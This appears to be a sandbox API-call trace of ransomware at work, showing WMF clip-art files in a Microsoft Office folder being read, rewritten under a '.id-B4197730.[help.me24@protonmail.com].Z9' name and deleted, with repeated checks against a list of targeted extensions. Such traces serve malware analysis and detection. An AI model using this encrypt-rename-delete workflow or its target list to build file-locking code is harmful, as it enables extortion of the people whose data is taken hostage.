	[0183.533] lstrlenW (lpString=".jpg") returned 4
	[0183.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.533] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.533] lstrlenW (lpString="J0151067.WMF") returned 12
	[0183.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.534] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=13204) returned 1
	[0183.534] CloseHandle (hObject=0x520) returned 1
	[0183.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 0x220
	[0183.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.535] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.535] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0183.536] GetLastError () returned 0x0
	[0183.536] ReadFile (in: hFile=0x520, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x3394, lpOverlapped=0x0) returned 1
	[0183.539] WriteFile (in: hFile=0x37c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x33a0, lpOverlapped=0x0) returned 1
	[0183.540] ReadFile (in: hFile=0x520, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.540] WriteFile (in: hFile=0x37c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.540] SetEndOfFile (hFile=0x37c) returned 1
	[0183.540] CloseHandle (hObject=0x37c) returned 1
	[0183.540] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.540] SetEndOfFile (hFile=0x520) returned 1
	[0183.543] CloseHandle (hObject=0x520) returned 1
	[0183.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 1
	[0183.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0183.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0183.544] lstrlenW (lpString=".doc") returned 4
	[0183.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.544] lstrlenW (lpString=".docx") returned 5
	[0183.544] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0183.544] lstrlenW (lpString=".pdf") returned 4
	[0183.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.544] lstrlenW (lpString=".xls") returned 4
	[0183.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.544] lstrlenW (lpString=".xlsx") returned 5
	[0183.544] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0183.545] lstrlenW (lpString=".ppt") returned 4
	[0183.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0183.545] lstrlenW (lpString=".zip") returned 4
	[0183.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.545] lstrlenW (lpString=".rar") returned 4
	[0183.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.545] lstrlenW (lpString=".bz2") returned 4
	[0183.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.545] lstrlenW (lpString=".7z") returned 3
	[0183.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0183.545] lstrlenW (lpString=".dbf") returned 4
	[0183.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0183.545] lstrlenW (lpString=".1cd") returned 4
	[0183.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0183.545] lstrlenW (lpString=".jpg") returned 4
	[0183.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0183.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0183.545] lstrlenW (lpString=".doc") returned 4
	[0183.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.545] lstrlenW (lpString=".docx") returned 5
	[0183.545] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0183.545] lstrlenW (lpString=".pdf") returned 4
	[0183.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.545] lstrlenW (lpString=".xls") returned 4
	[0183.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.545] lstrlenW (lpString=".xlsx") returned 5
	[0183.545] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0183.545] lstrlenW (lpString=".ppt") returned 4
	[0183.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0183.546] lstrlenW (lpString=".zip") returned 4
	[0183.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.546] lstrlenW (lpString=".rar") returned 4
	[0183.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.546] lstrlenW (lpString=".bz2") returned 4
	[0183.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.546] lstrlenW (lpString=".7z") returned 3
	[0183.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0183.546] lstrlenW (lpString=".dbf") returned 4
	[0183.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0183.546] lstrlenW (lpString=".1cd") returned 4
	[0183.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0183.546] lstrlenW (lpString=".jpg") returned 4
	[0183.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.546] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.546] lstrlenW (lpString="J0151073.WMF") returned 12
	[0183.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.547] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=13336) returned 1
	[0183.547] CloseHandle (hObject=0x520) returned 1
	[0183.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 0x220
	[0183.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.548] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.548] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0183.549] GetLastError () returned 0x0
	[0183.549] ReadFile (in: hFile=0x520, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x3418, lpOverlapped=0x0) returned 1
	[0183.551] WriteFile (in: hFile=0x37c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x3420, lpOverlapped=0x0) returned 1
	[0183.553] ReadFile (in: hFile=0x520, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.553] WriteFile (in: hFile=0x37c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.553] SetEndOfFile (hFile=0x37c) returned 1
	[0183.553] CloseHandle (hObject=0x37c) returned 1
	[0183.553] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.553] SetEndOfFile (hFile=0x520) returned 1
	[0183.556] CloseHandle (hObject=0x520) returned 1
	[0183.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 1
	[0183.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0183.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0183.558] lstrlenW (lpString=".doc") returned 4
	[0183.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.558] lstrlenW (lpString=".docx") returned 5
	[0183.558] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0183.558] lstrlenW (lpString=".pdf") returned 4
	[0183.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.558] lstrlenW (lpString=".xls") returned 4
	[0183.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.558] lstrlenW (lpString=".xlsx") returned 5
	[0183.558] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0183.558] lstrlenW (lpString=".ppt") returned 4
	[0183.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0183.558] lstrlenW (lpString=".zip") returned 4
	[0183.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.558] lstrlenW (lpString=".rar") returned 4
	[0183.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.558] lstrlenW (lpString=".bz2") returned 4
	[0183.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.558] lstrlenW (lpString=".7z") returned 3
	[0183.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0183.558] lstrlenW (lpString=".dbf") returned 4
	[0183.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0183.559] lstrlenW (lpString=".1cd") returned 4
	[0183.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0183.559] lstrlenW (lpString=".jpg") returned 4
	[0183.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0183.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0183.559] lstrlenW (lpString=".doc") returned 4
	[0183.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.559] lstrlenW (lpString=".docx") returned 5
	[0183.559] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0183.559] lstrlenW (lpString=".pdf") returned 4
	[0183.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.559] lstrlenW (lpString=".xls") returned 4
	[0183.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.559] lstrlenW (lpString=".xlsx") returned 5
	[0183.559] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0183.559] lstrlenW (lpString=".ppt") returned 4
	[0183.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0183.559] lstrlenW (lpString=".zip") returned 4
	[0183.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.559] lstrlenW (lpString=".rar") returned 4
	[0183.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.559] lstrlenW (lpString=".bz2") returned 4
	[0183.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.559] lstrlenW (lpString=".7z") returned 3
	[0183.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0183.559] lstrlenW (lpString=".dbf") returned 4
	[0183.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0183.559] lstrlenW (lpString=".1cd") returned 4
	[0183.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0183.560] lstrlenW (lpString=".jpg") returned 4
	[0183.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.560] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.560] lstrlenW (lpString="J0151581.WMF") returned 12
	[0183.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.561] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=10752) returned 1
	[0183.561] CloseHandle (hObject=0x520) returned 1
	[0183.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 0x220
	[0184.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0184.521] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.521] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0184.654] GetLastError () returned 0x0
	[0184.654] ReadFile (in: hFile=0x3c8, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x2a00, lpOverlapped=0x0) returned 1
	[0184.657] WriteFile (in: hFile=0x460, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x2a10, lpOverlapped=0x0) returned 1
	[0184.659] ReadFile (in: hFile=0x3c8, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.659] WriteFile (in: hFile=0x460, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.659] SetEndOfFile (hFile=0x460) returned 1
	[0184.659] CloseHandle (hObject=0x460) returned 1
	[0184.659] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.659] SetEndOfFile (hFile=0x3c8) returned 1
	[0184.662] CloseHandle (hObject=0x3c8) returned 1
	[0184.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 1
	[0184.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0184.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0184.860] lstrlenW (lpString=".doc") returned 4
	[0184.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.860] lstrlenW (lpString=".docx") returned 5
	[0184.860] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0184.860] lstrlenW (lpString=".pdf") returned 4
	[0184.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.860] lstrlenW (lpString=".xls") returned 4
	[0184.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.860] lstrlenW (lpString=".xlsx") returned 5
	[0184.860] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0184.860] lstrlenW (lpString=".ppt") returned 4
	[0184.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0184.860] lstrlenW (lpString=".zip") returned 4
	[0184.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.860] lstrlenW (lpString=".rar") returned 4
	[0184.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.860] lstrlenW (lpString=".bz2") returned 4
	[0184.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.860] lstrlenW (lpString=".7z") returned 3
	[0184.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0184.860] lstrlenW (lpString=".dbf") returned 4
	[0184.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0184.860] lstrlenW (lpString=".1cd") returned 4
	[0184.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0184.860] lstrlenW (lpString=".jpg") returned 4
	[0184.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0184.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0184.861] lstrlenW (lpString=".doc") returned 4
	[0184.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.861] lstrlenW (lpString=".docx") returned 5
	[0184.861] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0184.861] lstrlenW (lpString=".pdf") returned 4
	[0184.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.861] lstrlenW (lpString=".xls") returned 4
	[0184.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.861] lstrlenW (lpString=".xlsx") returned 5
	[0184.861] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0184.861] lstrlenW (lpString=".ppt") returned 4
	[0184.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0184.861] lstrlenW (lpString=".zip") returned 4
	[0184.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.861] lstrlenW (lpString=".rar") returned 4
	[0184.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.861] lstrlenW (lpString=".bz2") returned 4
	[0184.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.861] lstrlenW (lpString=".7z") returned 3
	[0184.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0184.861] lstrlenW (lpString=".dbf") returned 4
	[0184.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0184.861] lstrlenW (lpString=".1cd") returned 4
	[0184.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
